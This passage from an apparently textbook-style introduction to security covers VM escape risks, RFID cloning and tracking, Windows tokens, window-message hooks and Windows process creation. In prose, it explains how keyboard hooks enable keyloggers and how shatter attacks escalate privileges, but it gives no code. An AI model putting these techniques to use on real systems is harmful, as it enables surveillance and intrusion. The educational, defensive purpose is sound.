running on the host system, the possibility exists that malicious actors
may attempt to breach the boundaries. As virtualization systems have
gained popularity, attackers have begun focusing on the weaknesses
within these systems.
Regardless of the virtualization method, the fact remains that the
virtual machine’s operating system and its associated applications run
on the host system at some point in time. When the VMM gives the
virtual machine access to physical resources such as video devices,
the possibility exists for the separation between the virtual and host
machine to crumble. In 2009, researchers from Immunity released a
presentation28 at Black Hat 2009 in which they demonstrated that
from within a virtual machine, an attacker could gain access to the
host machine’s memory. Similarly, in 2009, researchers at Core Labs29
3 8
released an advisory describing a method for accessing the host operating system from within a virtual machine.
Virtualization systems are complex systems and, as such, are prone
to vulnerabilities. A vulnerability in an operating system or an application may lead to the compromise of a single server within an infrastructure. When that vulnerable operating system or application is
running within a virtual machine that is itself vulnerable, the effects
of a single compromise can amplify across all other virtual machines
within the same physical machine. Moreover, since cloud computing
heavily relies on virtualization, this class of vulnerability can affect
not only a single enterprise but also any enterprise that operates within
the same virtual infrastructure. Therefore, it is important to understand that separating sensitive virtual machines (i.e., VMs that handle personally identifiable information) from public virtual machines
(i.e., VMs that run a company’s public Web server or mail server) can
reduce the impact associated with the VM boundary vulnerability.
1.1.7.9â•‡ Conclusionâ•… Virtualization has many advantages ranging from
server consolidation to program isolation. While the technology has
been available in some form for decades, advancements in modern
computing hardware have led to a more widespread adaptation of the
technology. Even at its current level of development, virtualization is
already making major inroads into the IT community. Virtualization
is a key component of the recent influx of new cloud-computing technologies currently on the market. The growth of the virtualization
market is far from reaching its peak.
Before deploying a large virtualized infrastructure, it is important to
understand the risks associated with virtualization. When the boundary between a virtual machine and a host machine becomes transparent (through vulnerabilities), the risk of significant data exposure and
system compromise increases dramatically. Classifying the data and
types of virtual machines that run on the same physical machine can
reduce this exposure.
1.1.8â•‡ Radio-Frequency Identification
At the 20XX DEFCON conference, Chris Paget of H4RDW4RE
LLC presented his talk on debunking the myths around radio© 2011 by Taylor & Francis Group, LLC
frequency identification (RFID). While many organizations use these
devices for authentication, they often are not aware of how the technology works or how secure it is. In this section, RFID and the security and privacy concerns around the technology are explained.
The term RFID does not describe one particular technology, but
a group of technologies used for the purposes of identification using
radio waves. RFID devices, commonly referred to as tags, are commonplace in everyday life. To name just a few of their many uses, the
devices enable electronic tollbooths, inventory tracking, and authentication systems. RFID has been the source of much controversy in
the last decade as security and privacy concerns began to emerge.
Depending on the way people use RFID tags and the security measures deployed to protect them, these concerns range from minor
to severe. To understand the security concerns of RFID, it is first
important to understand how they operate. In RFID communication,
there are two actors: the interrogator (reader) and the device (tag).
The reader is a device, typically connected to a computer, capable of
receiving and interpreting data from an RFID tag. The tag is a device
varying in complexity that sends back the specific identification information unique to the tag. Some tags simply emit the same information
each time the reader interrogates them, and others include processing
systems capable of complex cryptographic operations.
There are three primary types of RFID tags when categorized by
power sources. These types include passive, battery-assisted passive,
and active. Both types of passive tags activate when they receive a
signal from the reader. Passive tags that operate without any battery
power use the power in the signal sent by the reader to power them
and send back their responses. Battery-assisted passive tags activate
after the reader sends a signal, but use battery power to construct
and send their responses. Because passive tags only use the power
they can scavenge from the reader’s signal, they have limited ranges
compared to battery-assisted devices. The third type of RFID device
is an active tag. Unlike their passive cousins, active tags can transmit
signals without activation by a reader.
1.1.8.1â•‡ Identify What?â•… The data that an RFID tag contains vary
depending on its application. The simplest and most common RFID
tag is the electronic product code (EPC). EPCs are the RFID
4 0
EPC example – 96-bit SGTIN tag
HEX representation from reader 30700048440663802E185523
Binary 0011000001110000000000000100100001000100000001100110010000000000000101110000110000101010100100011
URI representation after decoding urn:epc:tag:sgtin-96:3.0037000.06542.773346595
Filter
Company
Prefix
Item Reference
Unique Serial
Number
3
0037000
06542
773346595
Procter &
Gamble
Bounty ® Paper
Towels 15 Pack
Unique Serial Number
for Item
Shipping
Unit
Exhibit 1-17â•… An example electronic product code (EPC). Source: http://assets.devx.com/articlefigs/16814.jpg.
equivalent of the bar code, and replacing barcodes is their primary
function. EPC tags are passive RFID tags, and organizations frequently integrate them into stickers. EPCs contain information similar to that found on Universal Product Codes (UPC) but can store
much more information. The data stored in a typical EPC is a 96-bit
number using the specification shown in Exhibit 1-17. The data stored
in an EPC is merely this number, which has no value without the
ability to decode its meaning. For product tags, this number represents the product’s manufacturer, type, and serial number.
While UPC codes can store enough information to enumerate all
types of products, such as a pack of paper towels, EPC codes include
an additional 36 bytes of data, allowing for the use of more than 600
billion unique serial numbers. Rather than identifying a general product type, such as a pack of paper towels, RFIDs can identify a specific
pack of paper towels. An organization can place EPCs on any product
or group of products that it would like to track. In 2005, Wal-Mart
Stores, Inc. mandated that all of its suppliers must tag shipments with
RFID tags. Libraries have also begun to use EPC tags to expedite
book check-ins and check-outs.
Organizations and governments are using RFID tags to identify
much more than common household products. Many organizations
deploy RFID-equipped ID cards (commonly known as proxy cards,
or proximity cards) that grant access to buildings and systems. In this
Exhibit 1-18â•… An American Express card with CSC functionality.
case, the number returned by the card corresponds to information
about a specific individual stored in a database. If the card readers
receive 0001 from John Doe’s card, the security system can look up
this record in its database of users and allow or deny access to the
secured area. Identifying people and authorizing access based on
RFID tags are fundamentally different uses of the technology compared to merely identifying products.
Obviously, there is no practical value in copying or cloning an EPC
tag attached to a bag of potato chips, but copying an RFID access
card can be quite valuable. If an access card worked like an EPC tag,
it would always return the same 96-bit number. Anyone who could
read the card could easily duplicate it and gain access to a building. To
prevent this, another class of RFID tag, known as the contactless smart
card (CSC), is much more complex than an EPC.
Similar to traditional smart cards, CSCs have the ability to store
and process information. Rather than simply responding to each
interrogation with the same number, CSCs use cryptography to hide
their information and sometimes confirm the identity of the reader
before divulging sensitive information.
Examples of CSC products are contactless credit cards issued by
VISA, MasterCard, and American Express (see Exhibit 1-18); most
access control badges; and the new U.S. electronic passport. The security of these devices is incredibly important, because cloning or tampering with them could allow an attacker to steal the owner’s money
or identity without ever coming into contact with the owner.
1.1.8.2â•‡ Security and Privacy Concernsâ•… The implementation of RFID
security measures and the privacy concerns that wireless identity tags
42
present are the subjects of much controversy. In 2005, researchers at
Johns Hopkins University, led by Dr. Avi Rubin, broke the encryption
used by millions of RFID-enhanced car keys and Exxon’s Speedpass
RFID payment system.30 These RFID-enhanced car keys use RFID
technology as a lock-picking prevention mechanism. If the proper
RFID tag is not in proximity of the reader when a user turns the
key in the ignition, the car will not start. Speedpass allows Exxon
customers to link a credit card to their keychain tokens to make purchases from Exxon gas stations. Rubin’s team discovered that both of
these devices only use 64-bit encryption to protect the tags. While
this encryption may have been sufficiently complex to prevent brute
force attacks when manufacturers introduced the system in 1993, this
level of protection is no longer sufficient.
At DEFCON 17, Chris Paget, a security researcher with
H4RDW4RE LLC, presented his talk on RFID myth busting. In
his talk, Paget debunked the myth that readers can only interrogate
RFID tags at short ranges. One ID card Paget has researched is the
U.S. enhanced driver’s license (EDL). EDLs contain RFID tags and
act as passports for passage between the United States and its bordering countries. These cards can easily be read at distances of more than
twenty feet and contain no encryption at all. Earlier this year, Paget
posted a YouTube video in which he demonstrated collecting EDL
information from victims without them ever being aware of his presence.31 To target a specific group, the attacker could build an antenna
into a doorframe and collect the ID of each person who entered the
room. Because of these cards’ lack of encryption, attackers can easily
clone them to steal victims’ IDs without their knowledge.
Beyond the security concerns of identity and data theft, RFID tags
also have ramifications for personal privacy. Because attackers can read
the tags at a distance, they can read them without the user’s knowledge. Even tags that do not contain any identifying information may
identify a specific person when grouped with additional information.
Imagine that every shoe made contained an RFID tag that the manufacturer could use to track inventory. This RFID tag alone is not a
significant privacy concern, but if a person buys this shoe with a credit
card, that specific RFID tag would then link to the buyer’s name in a
retailer’s database. The retailer could then scan every user entering the
store to see if the shopper was wearing any clothing associated with a
specific customer. The retailer could use this to display targeted advertisements to each customer and track his or her location in each store,
similar to the scenario played out in the film Minority Report.
Any individual or organization considering deploying RFID technology or carrying RFID-enabled devices should seriously study
these concerns. Reading RFID tags at long distances allows attackers
to track carriers without their knowledge. RFID wallets, which block
signals transmitted by the devices, can provide protection against
RFID readers. These wallets are typically made of metallic material
through which radio frequency radiation cannot pass.
RFID tags have many advantages over technologies that require
optical scans or physical contact. RFID readers can interrogate hundreds of tags at a time to perform complete inventories in a fraction
of the time required for hand counting; however, using these devices
for identification and authentication requires the implementation of
countermeasures to protect against cloning and modification.
1.2â•‡ Microsoft Windows Security Principles
1.2.1â•‡ Windows Tokens
Access tokens and control lists limit a user’s or program’s access to certain systems. Granting a user the least privilege required and developing programs to require minimal privileges are effective ways of
containing the potential of full system compromise to privilege escalation vulnerabilities.
1.2.1.1â•‡ Introductionâ•… The inner workings of Microsoft Windows
access tokens and access control lists for objects such as processes
and threads are not widely understood. Windows uses access tokens
(hereafter simply referred to as tokens) to determine if a program can
perform an operation or interact with an object. In this section, we
will explain the concept of Windows tokens and process and thread
access control lists.
1.2.1.2â•‡ Concepts behind Windows Tokensâ•… Tokens provide the security
context for processes and threads when accessing objects on a system. These objects, also known as securable objects, include all named
4 4
Exhibit 1-19â•… A Windows token represented as a driver’s license.
objects ranging from files and directories to registry keys. Tokens have
four parts that include an identity, privileges, type, and access controls. Conveniently, Windows tokens share similarities with a driver’s
license at the conceptual level, and this idea draws analogies between
the two. Exhibit 1-19 shows a license that is a visual representation of
a token, and throughout this report, examples will attempt to bridge
these two concepts together.
A Windows token has a portion called an identity. The token’s
identity describes to whom the token belongs, much like a driver’s
license includes the owner’s name. The identity consists of two parts:
a user and a group, just as the name on a driver’s license consists of
both a first and last name. If a person were to use a credit card, the
merchant might ask to see the person’s license to check if the name on
the credit card is the same as the name listed on the driver’s license. If
the names matched, the merchant would allow the person to use the
credit card. In Windows, if a user has access to a directory, Windows
would check to see if the token had the same user listed. If it is the one
listed, Windows would grant access to the directory.
The second piece of a token’s identity is the concept of group memberships. Several users can belong to the same group to simplify
resource access management. For example, if a man visits a local community center that his family paid to attend, and an employee of the
facility checks the man’s driver’s license to see if his family’s name is
registered, the employee would let him use the facility if the names
matched. Exhibit 1-19 shows the identity of the token by displaying
the user, group name, administrator, and ADMIN-8F05C726E,
respectively, as it would on a driver’s license.
A token can have a variable number of groups that allow programs
to restrict permissions in a more granular fashion. For example, when
a police officer pulls over a motorcyclist and asks for his or her driver’s
license, the officer is ensuring that the rider has a motorcycle license
by checking for an M rating, signifying that the individual completed
motorcycle riding and safety tests. Similarly, a Windows program
may not want certain operations carried out by programs using a specific token. The program may restrict or add groups to a token to allow
even more fine-grained control. For example, in Exhibit 1-19 above,
the administrator user belongs to the ADMIN-8F05C726E group
but also resides in the everyone group.
The privileges of a token specify certain operations that the holder
of the token can perform. Two of the most familiar privileges are
SeDebug and SeImpersonate. These privileges specify to the kernel
what operations the user can perform with kernel objects before access
control checks are considered.
The SeDebug privilege tells the kernel that the program holding
this privilege can perform operations on processes and threads, which
are objects a debugger would need to be able to access, without considering the access control restrictions on those objects. This concept
is similar to the organ donor area on a driver’s license. If someone
involved in a fatal car accident has properly indicated on his or her
driver’s license that he or she is an organ donor, a hospital may remove
the organs that the holder has designated without requiring the consent of the person’s surviving relatives.
The SeImpersonate privilege allows the user to impersonate other
users’ tokens. Typically seen granted to system services, this privilege allows a user to acquire the access and permissions of someone else after the user authenticates. When used by a service, the
service impersonates a client while accessing requested resources on
the server. An example of this privilege would be if one person took
another person’s driver’s license to use as his or her own when driving
a car.
The token also has a type: it can be either a primary token or an
impersonation token. Primary tokens identify processes, and impersonation tokens identify threads. Other than this assignment, the only
4 6
other difference is that impersonation tokens also have an associated
impersonation level.
The impersonation levels are anonymous, identification, impersonation, and delegation. With an anonymous token at its processing whim,
a program cannot identify the user of the token, nor can it impersonate
the token. Anonymous tokens do little more than fill function requirements that a token exists. Anonymous tokens are like a motorist having no driver’s license at all; the motorist is not identifiable.
Identification tokens are the next impersonation level. A program
that possesses an identification token can inspect the user of the token,
the group memberships of the token, and any privileges that the token
has enabled. Identification tokens are useful when a program would
like to perform its own access checks against a user and is not concerned about allowing the operating system to check permissions.
Identification tokens are like a motorist having a valid driver’s license;
the motorist is identifiable.
An impersonation-level token allows a program to perform operations on behalf of the user of the token on the local system. The program that possesses an impersonation-level token can call all of the
Win32 application programming interfaces (APIs) and have the operating system perform access checks against the user. Impersonation
tokens are like having the ability to change the picture and physical
description on a driver’s license—one can allow anybody to assume
the identity listed on the driver’s license.
The final level of token is a delegation token. Armed with a delegation token, a program can access both the local system and network
resources on behalf of the user of the token. Delegation token use is
common in situations in which the program requires the local operating system to determine if the user has access to a resource and remote
systems to check if the user can perform the operation. Delegation
tokens resemble the ability to modify the picture, physical description, and issuing state of a driver’s license—one can allow anybody to
assume the identity on the driver’s license and have any state believe it
is a valid local driver’s license.
1.2.1.3â•‡ Access Control Listsâ•… Tokens have access control lists that
describe the access that identities may request when accessing the
token. These entries on the access control list either explicitly allow
or explicitly deny specific types of operations on the token. The token
can allow or deny reading information from the token, writing information to the token, and various other operations on the token to
specific identities on the system. Together, these components form
the basis behind tokens on Windows.
Tokens support access restrictions by using groups classified as
denied. When determining if a token has access to a specific resource,
Windows checks the access control list first to see if the token has
access. Then, it will check again to see if the access requested matches
the access control entry’s access and group. If they match, Windows
will grant the token access. This is similar to optical restrictions on
a driver’s license. A police officer may first check to see if the person
driving the motor vehicle has a license to drive. Then the officer may
check to see if the driver requires vision correction gear to drive and
will consider both these pieces of information when developing a case
against the driver.
These access control lists apply to both processes and threads. They
allow administration of the level of access granted to various groups
and users. Process and thread control lists both offer standard access
rights, 32 but differ in the process- and thread-specific access rights.
Process-specific rights are a list of fourteen access permissions that
apply to processes only. These rights include granular access controls
that range from reading and writing to creating and terminating processes. In addition to these granular permissions, Windows includes
an all-encompassing right known as PROCESS_ALL_ACCESS,
which permits all process-specific rights to a user.
Thread-specific rights are thirteen access rights that apply to threads
only. The permissions allow interaction with threads and include
rights to suspend, resume, and terminate threads, to name a few. Like
the process-specific rights, THREAD_ALL_ACCESS permits all
thread-specific rights to the user.
1.2.1.4â•‡ Conclusionsâ•… Access tokens and control lists limit the amount
of access a user or program has to a system. Administrators should
grant users the lowest level of privileges necessary to limit the amount
of damage caused by compromise or a rogue user. Developers should
also follow the least privilege stance while coding to reduce the impact
of application misuse.
4 8
As far as an attacker is concerned, under normal circumstances,
impersonation tokens with levels of impersonation and delegation are
the most valuable because they increase an attacker’s access to systems.
Therefore, access controls gained from proper token use can limit the
exposure to privilege escalation vulnerabilities and lower the chances
of full system compromise.
1.2.2â•‡ Window Messaging
The window-messaging queue, which handles events such as mouse
clicks and keyboard input, allows program windows on Microsoft operating systems to interact. Unfortunately, malicious software may also
utilize this functionality and even add message hooks for capturing data
and covert communication. Monitoring window message hooks can
reveal malicious behavior such as key logging or graphical user input.
Programs that run on Microsoft operating systems with visible
windows can accept and handle new events using window messaging
(and the window-messaging queue). Processes may send these messages to communicate with other processes. For example, window
messages allow users to interact with a window and input text or use
the mouse. Sending a window message activates a message hook to
execute code to handle the event.
Malicious and nonmalicious programs install message hooks to
process message events. For instance, notepad.exe installs a message
hook for keyboard (WH_KEYBOARD) and mouse (WH_MOUSE)
messages to accept user input. Exhibit 1-20 shows message hooks that
IceSword detects when the user opens notepad.exe.
SetWindowsHookEx is a Windows API function that initiates a
hook for these messages. It allows the author to execute a new handling
Exhibit 1-20â•… IceSword is one tool for viewing message hooks.
function whenever the program receives a new message.33 Message
hooks operate correctly under administrator and limited user accounts
because they are necessary for users to interact with windows. Multiple
processes can initialize hooks for the same message type (see Exhibit
1-20). In cases where there are multiple hooks, the most recently initialized handling functions determine whether to pass the message to
other handling functions for the same message type.
The system delivers messages using a first in, first out (FIFO) message queue or by sending messages directly to a handling function.
Each thread that has a graphical user interface (GUI) has its own message queue, and there is a special message queue for system messages.
Whenever a window does not accept these messages within a timeout
period of a few seconds, the window may show “Not Responding”
until the program handles the message.
When a user logs on, he or she will also call the CreateDesktop
function, which associates the desktop with the current window station. With fast user switching, for instance, multiple users can log on
at the same time and each has a unique desktop. A desktop restricts
window messages from other desktops, preventing a user from sending window messages to another active desktop. Each session has a
unique ID, which may contain one or more desktops. The first user
to log on always has session zero (Windows XP/2003 or earlier), and
subsequent users have sessions one, two, and so on. Services also run
in the same session (zero) as the user who logs on first, allowing the
user to send or receive window messages for services.
1.2.2.1â•‡ Malicious Uses of Window Messagesâ•… Malicious code authors can
use window messages and hooks for malicious purposes, including
monitoring, covert communication, and exploiting vulnerabilities.
One malicious use of window messages is for monitoring. An attacker
can use the SetWindowsHookEx function with WH_KEYBOARD
to install a key logger. The diagram in Exhibit 1-21 shows message
hooks for the legitimate notepad application and an additional WH_
KEYBOARD message hook for a malicious key logger program,
which tries to log all the keystrokes that the user types.
Malicious programs may also propagate via autorun with removable devices and use WM_DEVICECHANGE hooks to determine
when users insert new devices. Even programs running with limited
5 0
User Input
Type Key
WH_KEYBOARD
Message Queue
Message Hooks
Type Key
WH_MOUSE
Key Logger
Notepad
Handling Functions
Notepad
Exhibit 1-21â•… Malicious and benign message hooks for a keylogger and notepad.
user permissions can intercept messages intended for other processes
using these types of hooks.
Window messages can also serve as a covert communication channel that is often invisible to users and administrators. Rootkits or
other malicious programs can communicate using custom window
messages. In this way, they can signal other processes and initiate
new functionalities. Trojan horses can also install backdoor code and
inject code from dynamic link libraries (DLLs) into other running
processes using message hooks as the technique to activate the code.
Attackers also try to hide message hooks to avoid analysts identifying
their uses or malicious behaviors. Normally, programs initiate a message hook within the context of a desktop, which the system creates
when it initiates a user’s session; however, attackers may also call the
CreateDesktop function, which allows them to create new windowmessaging contexts. Trojans like Tigger avoid monitoring by creating
a new desktop, which prevents messages on the default desktop from
interacting with it.
Window message processing can introduce security vulnerabilities.
Application code to handle messages can cause programs to crash if
they do not handle unusual window messages. Privileged processes
with active windows running on a limited user’s desktop can also
allow privilege escalation. In 2002, Chris Paget published a paper
on “shatter attacks” detailing how design flaws could allow privilege escalation in the Win32 API. Paget described the design flaws
through the window-messaging system that allow a process with limited user permissions to gain local system privileges. In this attack, an
attacker already on the system can send a WM_TIMER message to
a process running as a local system and pass a second parameter containing an address for the timer callback function, which will execute
with local system privileges.34 Microsoft disabled some more dangerous functions related to sending window messages, which could also
allow privilege escalation. According to Paget, the Microsoft fixes
for this vulnerability only disable certain vulnerable functions but do
little to prevent the privilege escalation vulnerabilities in the windowmessaging system.
1.2.2.2â•‡ Solving Problems with Window Messagesâ•… Windows Vista is
less susceptible to shatter attacks due to greater separation of interactive sessions. In Vista, users log on to user sessions starting at one
instead of zero (which Vista reserves for system services). In this way,
user applications cannot interact with system services that previously
exposed their window-messaging functionalities. Microsoft has fixed
problems related to privilege escalation in many of its own interactive services; however, other privileged processes from third-party
developers still pose a risk to non-Vista users. More information is
available from the Microsoft Developer Network (MSDN) and Larry
Osterman’s MSDN blog.35
Services that must run with increased permissions should not use
interactive windows when they run as a limited user. Alternatives are
available on Microsoft Windows platforms to perform interprocess
communication and to limit the effects of privilege escalation attacks.
Using named pipes and remote procedure calls (RPCs) are some alternatives that do not depend on support for sessions, and developers
should use these instead of window messages to remain compatible
with Windows Vista.36
Analysts and researchers should monitor window message hooks
to identify behavior in running programs. Attackers may use window
messaging for a variety of malicious purposes including monitoring,
covert communication, and exploitation. Each window message hook
may reveal functionality of unknown suspicious programs, such as
graphical user input, key-logging functionality, spreading via removable devices, and custom functionality.
1.2.3â•‡ Windows Program Execution
Most people rarely consider the mechanics behind the scenes when
running a program on their computers. Users have become accustomed to the fact that by simply double clicking an executable or typing in a command, the operating system will magically load and run
5 2
the application desired. On the Windows system, this process is much
more involved than simply clicking a button. The process by which
the operating system loads, executes, and schedules programs is complex. This section delves into the process of running a program from
the moment the operating system begins loading the program into
memory until the moment the program actually begins to execute.
A Windows executable is nothing more than a well-structured
binary file that resides on a computer’s hard drive. It is not until the
operating system loads the executable into memory, properly initializes it, and generates a process context that the executable becomes an
actual program. The procedure by which the operating system turns
an executable image file into a running process varies slightly depending on which internal Windows application programming interface
(API) function call loads the image.
The native Windows API contains a surprisingly large number of process generation functions, as seen in the top level of the
hierarchy depicted in Exhibit 1-22. Ultimately, each of these functions (with the exception of the CreateProcessWithLogon and
CreateProcessWithToken) ends in a call to CreateProcessInternalW,
which in turn calls NtCreateProcessEx. The exceptions to this trend
are the CreateProcessWith… functions that ultimately end in a remote
procedure call (RPC) via NdrClientCall. The RPC call also terminates with a call to the internal NtCreateProcessEx function.
Regardless of the API function used to initiate the process creation, the basic steps to create the process are the same, since all functions end in a call to NtCreateProcessEx. These eight steps, as defined
by Microsoft Press’ “Windows Internals,” are displayed in order in
Exhibit 1-22. These steps make up the core of the Windows program execution system. Given the complexity of each of the steps,
the remainder of this section will explore each step to provide a better
understanding of what each step involves and how each contributes to
the execution of a new process.
1.2.3.1â•‡ Validation of Parametersâ•… The call to NtCreateProcessEx contains a variety of parameters that the function must verify before it
can attempt to load an executable image. NtCreateProcessEx must
determine if these parameters are indeed valid and, if so, how they
will affect subsequent operations. The API function allows the caller
Validate Parameters/
Determine Required
Windows Subsystem
Load Image File
Create Process Object
Create Initial Thread
(Suspended)
Perform Subsystem
Specific Initialization
Execute Initial Thread
Complete Initialization
(Load Required DLLs)
Begin Process Execution
Exhibit 1-22â•… Windows execution steps.
to specify the scheduling priority of the new process. Windows provides a wide range of scheduling priorities that dictate how much of
the central processing unit’s (CPU’s) time a particular process and its
associated threads will receive with respect to the other processes running on the operating system at any given time; however, to set the
scheduling priority, NtCreateProcessEx must determine the requested
scheduling priority. The scheduling priority parameter consists of a
set of independent bytes, each of which specifies a particular priority
class such as Idle, Below Normal, Normal, Above Normal, High, and
Real-Time. The function determines the lowest priority scheduling
5 4
Validate Parameters/Determine
Required Windows Subsystem
Determine Validity of Parameters
to NtCreateProcessEX
Determine Process
Scheduling Priority
Assign Exception Handlers
Assign Debugging System
Determine Stream
Output Destination
Assign Process to
Appropriate Desktop
Exhibit 1-23â•… Substeps of the validate parameters phase.
class specified and uses this as the priority for the new process. If the
caller to NtCreateProcessEx specifies that the only scheduling priority class allowed is Real-Time (a class that attempts to take as much of
the CPU’s time as possible) and the caller of the function does not have
sufficient scheduling privileges, NtCreateProcessEx will downgrade
the request to High but will not prevent the call to NtCreateProcessEx
from succeeding. When a program calls NtCreateProcessEx without
an explicit scheduling priority defined, the function defaults to the
Normal priority.
During the validation-of-parameters phase, NtCreateProcessEx
assigns various handles and subsystems to address low-level events
that may occur during the normal course of program execution. The
function assigns exception-monitoring routines to handle exceptions
that may occur in the program. The function also establishes whether a
debugging system is required to handle debugging events. Finally, the
function determines where the operating system will send data stream
output if the program chooses not to use a console window (as would be
the case with graphic applications). If the caller of NtCreateProcessEx
does not specify a Windows desktop for the process, the function
associates the current user’s desktop with the process.
This prevents a process run by one user on a multiuser version
of Windows (such as Windows 2003 or 2008) from starting a program on the desktop of another user logged onto the same system by
accident. Exhibit 1-23 details the components of the validation-ofparameters phase.
1.2.3.2â•‡ Load Image, Make Decisionsâ•… Exhibit 1-24 depicts the steps for
the Load Image phase. The Windows API supports a limited set of
executable images. When a user double clicks a .doc file or an .xls file,
Explorer does not call one of the various CreateProcess functions with
the given file, but instead maps the file extension to the appropriate
program using the settings in the registry. The program responsible
for the .doc or .xls file runs via the CreateProcess API functions. From
this point on, we will use the generic function name CreateProcess for
any of the process creation functions shown in Exhibit 1-22.
CreateProcess handles only a few extensions directly (or semidirectly,
as will be explained shortly). The list of valid extensions that a caller
can pass to the CreateProcess functions includes .exe, .com, .pif, .cmd,
and .bat. One of the first steps the CreateProcess function takes during this phase is to determine the type of executable image the caller is
requesting. Windows can support a variety of different applications, as
indicated in Exhibit 1-25. CreateProcess does not make the determination of the executable image type by extension alone. The function
loads the image into a section object37 that maps a view of the file into
a shared memory region. From the header of the image, the API can
Load Image File
Load File into Shared Memory
Determine File Image Type
If Necessary, Call CreateProcess to
Handle Non-native Window32 File
Exhibit 1-24â•… Load image file steps.
5 6
APPLICATION TYPE
EXTENSIONS
RESPONSIBLE WINDOWS IMAGE
Windows 32/64-bit
.exe
run directly via CreateProcess
Windows 16-bit
.exe
run via ntvdm.exe
MS-DOS
.exe, .com, .pif
run via ntvdm.exe
MS-DOS Command File
.bat, .cmd
run via cmd.exe/command.exe
POSIX
run via Posix.exe
OS2 1.x
run via Os2.exe
Exhibit 1-25â•… A support image type by CreateProcess AP.
determine if the image contains a Windows 32- or 64-bit image, an
MS-DOS image, a POSIX image, or a Windows 16-bit image.
If CreateProcess determines that the image is not a native 32- or
64-bit Windows image, the exact type of image is determined and the
function transfers control to the appropriate Windows image processor. For example, if the image is determined to be a portable operating
system for a Unix (POSIX) image, CreateProcess calls itself again
to start the Posix.exe image loader and passes the current executable
(and its associated arguments) as arguments to Posix.exe. In this way,
CreateProcess transfers the responsibility for loading the image to the
image loader (Posix.exe), which has the resources to properly load the
image into memory and provide the necessary subsystem support to
execute the image. The image loader is a Windows 32- or 64-bit executable, therefore allowing the CreateProcess procedure to continue
as it would with a native Windows executable.
1.2.3.3â•‡ Creating the Process Objectâ•… So far in this section, we have used
the term process as the part of the executable that Windows executes,
but this is not exactly the case. A process is merely a container or an
object. A process contains the necessary information for the scheduling system of Windows and the other various Windows subsystems
to maintain the context (or state) of one or more related threads. A
thread is a self-contained set of executable instructions that interacts
with the operating system and its related resources through the system API. A process must contain a minimum of one thread. Threads
inside the same process can share memory, but processes do not share
memory without using special API calls.
Before CreateProcess can create the initial thread, the operating
system must establish a suitable working environment from the executable image. This requires the operating system to construct several key data structures such as the Windows EPROCESS38 block,
the initial memory address space for the executable image, the kernel
process block (KPROCESS),39 and the program environment block
(PEB).40 Each of the data structures mentioned plays a key role in the
execution cycle of a process’s threads and, by extension, the process
overall. As part of the EPROCESS initialization, the system gives
the process a process identifier (PID).
The creation of the address space involves establishing the virtual
memory for the new executable image. Once established, the operating system maps the section object containing the executable image
to the new virtual memory space at the base address specified in the
header of the image. This establishes the new process’s memory space.
Upon completion of this task, the operating system maps the ntdll.dll
DLL into the new virtual memory space.
At this point, if the system-auditing component of Windows
tracks the creation of new processes, the operating system generates
an entry in the Security event log chronicling the existence of the
new process.
Finally, CreateProcess registers the new process object with the
operating system, initiating a series of internal functions responsible
for the management of the new process. This concludes the initialization and setup of the process object, but additional work remains
before the process and its initial thread are ready to execute. Exhibit
1-26 illustrates this step.
1.2.3.4â•‡ Context Initializationâ•… While the initialization of the pro-
cess object sets the stage for the initial thread, at this point in the
CreateProcess procedure, the function has yet to establish the thread.
As a result, the process contains no executable component, merely a
container where the executable component can exist. To establish the
initial thread, CreateThread passes control to the kernel, which in
turn constructs the necessary thread working environment. The kernel creates the initial thread in a suspended state, since at this point
the thread contains insufficient resources to operate. These insufficiencies include a missing stack and execution context.
5 8
Create Process Object
Establish Working Environment for
Executable Image
Create Virtual Memory Address
Space
Map ntdll.dll to New Address
Space
Record Entry in Windows Security
Event Log
Register Process Object with
Operating System
Exhibit 1-26â•… Create process object steps.
The kernel uses the execution context when switching between
threads. The execution context stores the current state, or context,
of a thread prior to switching to a new thread. Likewise, when the
kernel reactivates a thread once it has been given CPU time, the kernel uses the context information to restore the thread’s execution at
the point that it was last active. With the context and stack established, CreateProcess calls the kernel to insert the thread into the
list of threads. This process generates a new Thread ID for the thread
and initializes several data structures. The function leaves the thread
suspended at this point since the function still must load the remaining subsystems and dependencies required by the image. Exhibit 1-27
visualizes the steps associated with this phase.
1.2.3.5â•‡ Windows Subsystem Post Initializationâ•… With the major-
ity of the process container and initial thread initialized and ready,
CreateProcess must initialize the Windows subsystem. The Windows
subsystem is responsible for the interface between the user and the
kernel spaces. This subsystem establishes the working environment for
applications by providing support for console windows, graphical user
interface (GUI) windows, thread and process management services,
Create Initial Thread (Suspended)
Kernel Generates Initial Thread
Execution Context for
Thread Created
Stack for Initial Thread
is Established
Kernel Assigns the Initial Thread
a Thread ID
Exhibit 1-27â•… The initial thread creation phase.
and miscellaneous other services. Without a suitable environmental
subsystem, an application would be unable to function given the lack
of interface between the application and the kernel.
As part of the Windows subsystem post initialization, the operating system checks the validity of the executable to determine if the
subsystem should permit the executable image to run. This check
involves verifying the executable against group policies established
by the administrator, and in the case of Windows Web Server 2008
and Windows HTC Server 2008, the subsystem verifies the imported
APIs to ensure the image does not use restricted APIs. CreateProcess
instructs the Windows subsystem that a new process (and its thread)
is waiting for initialization, requiring the subsystem to perform more
low-level initializations. While exploring each of these low-level initialization steps is outside the scope of this article, what is important
to understand is how the Windows subsystem handles the introduction of a new process object.
The Windows subsystem (via the Csrss.exe process) receives a copy
of the process and its thread’s handles along with any necessary flags.
CreateProcess gives the Windows subsystem the PID of the process
responsible for the call to the CreateProcess function. The Windows
subsystem in turn allocates a new process block inside the csrss process and ties in the necessary scheduling priorities, as defined earlier in
the CreateProcess procedure, along with a default exception handler.
The subsystem stores this information internally and registers the new
6 0
Perform Subsystem
Specific Initialization
Validity of Executable Image is
Verified by Operating System
Inform the Windows Subsystem
of the Process
Windows Subsystem Generates a
Process ID (PID) for the New Process
Windows Subsystem Generates
Process Block Inside csrss
Windows Subsystem Establishes
Scheduling Priority for New Process
Windows Subsystem Initiates the
“Waiting” Cursor Icon
Exhibit 1-28â•… The subsystem initialization phase.
process object within the list of subsystem-wide processes. The process’s initial thread is still in the suspended state at this point, but the
Windows subsystem activates the application start cursor (the cursor
with the small hourglass or the circular icon on Vista or later). This
icon will appear for up to two seconds while waiting for the primary
thread to engage the GUI of the application. As seen in Exhibit 1-28,
the subsystem initialization phase requires more steps than the other
phases detailed thus far.
1.2.3.6â•‡ Initial Thread … Go!â•… By the end of the subsystem initialization phase, the process has all of the necessary information and
access control tokens41 required to begin execution. Unless the caller
of CreateProcess specified the CREATE_SUSPENDED flag set for
the process, the operating system begins the initial thread to continue
the last step of the initialization process. The initial thread begins by
